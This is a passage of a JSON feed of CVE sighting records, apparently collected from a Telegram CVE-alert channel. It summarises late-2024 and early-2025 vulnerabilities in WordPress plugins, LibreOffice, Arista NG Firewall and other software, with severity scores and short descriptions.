"vulnerability": "CVE-2024-12131", "type": "seen", "source": "https://t.me/cvedetector/14542", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12131 - WordPress WP Job Portal Insecure Direct Object Reference\", \n  \"Content\": \"CVE ID : CVE-2024-12131 \nPublished : Jan. 7, 2025, 1:15 p.m. | 21\u00a0minutes ago \nDescription : The WP Job Portal \u2013 A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.5 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to submit resumes for other applicants when applying for jobs. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T14:42:45.000000Z"}, {"uuid": "11c325c7-a649-48d0-bcab-03d79099c06d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/cvedetector/14538", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12426 - LibreOffice Environmental Variable Exfiltration\", \n  \"Content\": \"CVE ID : CVE-2024-12426 \nPublished : Jan. 7, 2025, 1:15 p.m. | 21\u00a0minutes ago \nDescription : Exposure of Environmental Variables and arbitrary INI file values to an Unauthorized Actor vulnerability in The Document Foundation LibreOffice.  \n  \n  \n  \n  \nURLs could be constructed which expanded environmental variables or INI file values, so potentially sensitive information could be exfiltrated to a remote server on opening a document containing such links.  \n  \n  \nThis issue affects LibreOffice: from 24.8 before < 24.8.4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T14:42:42.000000Z"}, {"uuid": "b20592d0-e939-4cf7-921f-8160aadab924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12033", "type": "seen", "source": "https://t.me/cvedetector/14537", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12033 - Jupiter X Core WordPress Unauthenticated Remote Code Execution (RCE)\", \n  \"Content\": \"CVE ID : CVE-2024-12033 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : The Jupiter X Core plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the sync_libraries() function in all versions up to, and including, 4.8.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to sync libraries \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:40.000000Z"}, {"uuid": "a54733e4-3e48-4c3a-84bc-fd7f27f188f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12832", "type": "seen", "source": "https://t.me/cvedetector/13390", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12832 - Arista NG Firewall SQL Injection RCE\", \n  \"Content\": \"CVE ID : CVE-2024-12832 \nPublished : Dec. 20, 2024, 1:15 a.m. | 40\u00a0minutes ago \nDescription : Arista NG Firewall ReportEntry SQL Injection Arbitrary File Read and Write Vulnerability. This vulnerability allows remote attackers to create arbitrary files and disclose sensitive information on affected installations of Arista NG Firewall. Authentication is required to exploit this vulnerability.  \n  \nThe specific flaw exists within the ReportEntry class. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the www-data user. Was ZDI-CAN-24325. \nSeverity: 8.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T03:21:57.000000Z"}, {"uuid": "7ea00a2e-dde8-444c-98cb-9cd09d101e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12831", "type": "seen", "source": "https://t.me/cvedetector/13389", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12831 - Arista NG Firewall uvm_login Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12831 \nPublished : Dec. 20, 2024, 1:15 a.m. | 40\u00a0minutes ago \nDescription : Arista NG Firewall uvm_login Incorrect Authorization Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Arista NG Firewall. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the uvm_login module. The issue results from incorrect authorization. An attacker can leverage this to escalate privileges to resources normally protected from the user. Was ZDI-CAN-24324. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T03:21:56.000000Z"}, {"uuid": "cfd89526-f90a-4708-afbc-5c232a823d92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12830", "type": "seen", "source": "https://t.me/cvedetector/13388", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12830 - Arista NG Firewall Custom Handler Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12830 \nPublished : Dec. 20, 2024, 1:15 a.m. | 40\u00a0minutes ago \nDescription : Arista NG Firewall custom_handler Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Arista NG Firewall. Authentication is not required to exploit this vulnerability.  \n  \nThe specific flaw exists within the implementation of the custom_handler method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the www-data user. Was ZDI-CAN-24019. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T03:21:56.000000Z"}, {"uuid": "41bc5e09-3ae0-47e7-8f7f-6908d2e3bac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "https://t.me/cvedetector/13387", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12700 - Apache Web Server JSP Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12700 \nPublished : Dec. 19, 2024, 11:15 p.m. | 28\u00a0minutes ago \nDescription : There is an unrestricted file upload vulnerability where it is possible for an authenticated user (low privileged) to upload an jsp shell and execute code with the privileges of user running the web server. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T00:51:26.000000Z"}, {"uuid": "e89fd346-7a14-4492-9ca5-935f33262e89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://t.me/cvedetector/14533", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12711 - \"WordPress RSVP and Event Management Plugin Authentication Bypass\"\", \n  \"Content\": \"CVE ID : CVE-2024-12711 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : The RSVP and Event Management plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several AJAX functions like bulk_delete_attendees() and bulk_delete_questions() in all versions up to, and including, 2.7.13. This makes it possible for unauthenticated attackers to delete questions and attendees and for authenticated users to update question menu orders. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:37.000000Z"}, {"uuid": "194e245e-dd6a-430b-90b9-b1d0796ca17c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://t.me/cvedetector/14532", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12532 - Elementor Addons for WordPress Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12532 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : The BWD Elementor Addons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.3.18 in widgets/bwdeb-content-switcher.php. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive private, pending, and draft template data. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:33.000000Z"}, {"uuid": "e7b0d0c7-197c-4e80-b0b7-8cc3b5ebbde3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/cvedetector/14531", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12425 - LibreOffice Path Traversal Font Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12425 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in The Document Foundation LibreOffice allows Absolute Path Traversal.  \n  \n  \n  \n  \nAn attacker can write to arbitrary locations, albeit suffixed with \".ttf\", by supplying a file in a format that supports embedded font files.  \n  \n  \nThis issue affects LibreOffice: from 24.8 before < 24.8.4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:32.000000Z"}, {"uuid": "22254a0e-f3ed-4e85-bf9e-58c08d346937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12316", "type": "seen", "source": "https://t.me/cvedetector/14530", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12316 - Jupiter X Core WordPress Unauthenticated Data Export Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12316 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : The Jupiter X Core plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the export_popup_action() function in all versions up to, and including, 4.8.5. This makes it possible for unauthenticated attackers to export popup templates. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:32.000000Z"}, {"uuid": "d8ca907c-0325-4918-84b7-05b08df8452e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12884", "type": "seen", "source": "https://t.me/cvedetector/13503", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12884 - Codezips E-Commerce Website SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12884 \nPublished : Dec. 21, 2024, 2:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability was found in Codezips E-Commerce Website 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /login.php. The manipulation of the argument email leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T16:10:00.000000Z"}, {"uuid": "740df5a9-02d9-4d10-ba84-293e3af2526f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12883", "type": "seen", "source": "https://t.me/cvedetector/13502", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12883 - Code-projects Job Recruitment Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12883 \nPublished : Dec. 21, 2024, 1:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /_email.php. The manipulation of the argument email leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T15:19:54.000000Z"}, {"uuid": "b106e78d-bc72-4a7a-8415-f48e1f29913c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12875", "type": "seen", "source": "https://t.me/cvedetector/13501", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12875 - Easy Digital Downloads WordPress Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12875 \nPublished : Dec. 21, 2024, 12:15 p.m. | 15\u00a0minutes ago \nDescription : The Easy Digital Downloads \u2013 eCommerce Payments and Subscriptions made easy plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.2 via the file download functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T13:39:42.000000Z"}, {"uuid": "958b84d2-3d43-44a7-af02-7162a1da26bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12788", "type": "seen", "source": "https://t.me/cvedetector/13346", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12788 - Codezips Technical Discussion Forum SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12788 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in Codezips Technical Discussion Forum 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file signinpost.php. The manipulation of the argument username leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:01.000000Z"}, {"uuid": "af98ff91-2d10-474f-ba0c-0057e0fb687d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12801", "type": "seen", "source": "https://t.me/cvedetector/13345", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12801 - QOS.CH SaxEventRecorder SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12801 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to   \nforge requests by compromising logback configuration files in XML.  \n  \n  \n  \nThe attacks involves the modification of DOCTYPE declaration in\u00a0 XML configuration files. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:00.000000Z"}, {"uuid": "05a19f7c-e3e1-4cd9-b207-8a5653611994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12591", "type": "seen", "source": "https://t.me/cvedetector/13495", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12591 - MagicPost WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12591 \nPublished : Dec. 21, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : The MagicPost plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wb_share_social shortcode in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T11:59:17.000000Z"}, {"uuid": "be938fb8-a584-4aab-9806-2c7f12fa7afb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12588", "type": "seen", "source": "https://t.me/cvedetector/13492", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12588 - WordPress Phlox Theme Phlox Theme Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12588 \nPublished : Dec. 21, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : The Shortcodes and extra features for Phlox theme plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Staff widget in all versions up to, and including, 2.16.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T11:09:08.000000Z"}, {"uuid": "7b6130eb-40f5-4bdc-a60f-43cb960421fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12066", "type": "seen", "source": "https://t.me/cvedetector/13489", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12066 - WordPress SMSA Shipping Plugin Remote File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12066 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The SMSA Shipping(official) plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the smsa_delete_label() function in all versions up to, and including, 2.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:44.000000Z"}, {"uuid": "c73c7baf-6e3c-40b3-8ed0-0663947cbac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12867", "type": "seen", "source": "https://t.me/cvedetector/13459", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12867 - Arctic Security Arctic Hub SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12867 \nPublished : Dec. 20, 2024, 8:15 p.m. | 24\u00a0minutes ago \nDescription : Server-Side Request Forgery in URL Mapper in Arctic Security's Arctic Hub versions 3.0.1764-5.6.1877 allows an unauthenticated remote attacker to exfiltrate and modify configurations and data. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T21:46:13.000000Z"}, {"uuid": "e6b51d32-2a04-4930-996f-80e370c9bc7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12794", "type": "seen", "source": "https://t.me/cvedetector/13356", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12794 - Codezips E-Commerce Site SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12794 \nPublished : Dec. 19, 2024, 6:15 p.m. | 33\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in Codezips E-Commerce Site 1.0. This affects an unknown part of the file /admin/editorder.php. The manipulation of the argument dstatus/quantity/ddate leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:50:17.000000Z"}, {"uuid": "f615741b-7225-41ac-84e0-abb431ef7c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12771", "type": "seen", "source": "https://t.me/cvedetector/13484", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12771 - WordPress eCommerce Product Catalog Cross-Site Request Forgery (CSRF)\", \n  \"Content\": \"CVE ID : CVE-2024-12771 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The eCommerce Product Catalog Plugin for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.3.43. This is due to missing or incorrect nonce validation on the 'customer_panel_password_reset' function. This makes it possible for unauthenticated attackers to reset the password of any administrator or customer account via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:37.000000Z"}, {"uuid": "5abd8f20-6152-4ebe-9ec7-24efad2274a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12721", "type": "seen", "source": "https://t.me/cvedetector/13483", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12721 - WooCommerce Custom Product Tabs PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12721 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The Custom Product Tabs For WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.2.4 via deserialization of untrusted input from the 'wb_custom_tabs' parameter. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:37.000000Z"}, {"uuid": "f7ff04aa-1859-4429-8c78-1005685cddae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12697", "type": "seen", "source": "https://t.me/cvedetector/13482", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12697 - RealKit WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12697 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The real.Kit plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 5.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:36.000000Z"}, {"uuid": "83b02fc4-9044-4b85-8509-ab3c68298e74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12635", "type": "seen", "source": "https://t.me/cvedetector/13481", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12635 - \"WordPress WP Docs Time-Based SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12635 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The WP Docs plugin for WordPress is vulnerable to time-based SQL Injection via the 'dir_id' parameter in all versions up to, and including, 2.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerability was partially patched in version 2.2.0. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:35.000000Z"}, {"uuid": "b3830390-0974-4d40-9a1f-a04624c699ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12846", "type": "seen", "source": "https://t.me/cvedetector/13477", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12846 - Emlog Pro Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12846 \nPublished : Dec. 21, 2024, 5:15 a.m. | 36\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in Emlog Pro up to 2.4.1. Affected by this issue is some unknown functionality of the file /admin/link.php. The manipulation of the argument siteurl/icon leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as 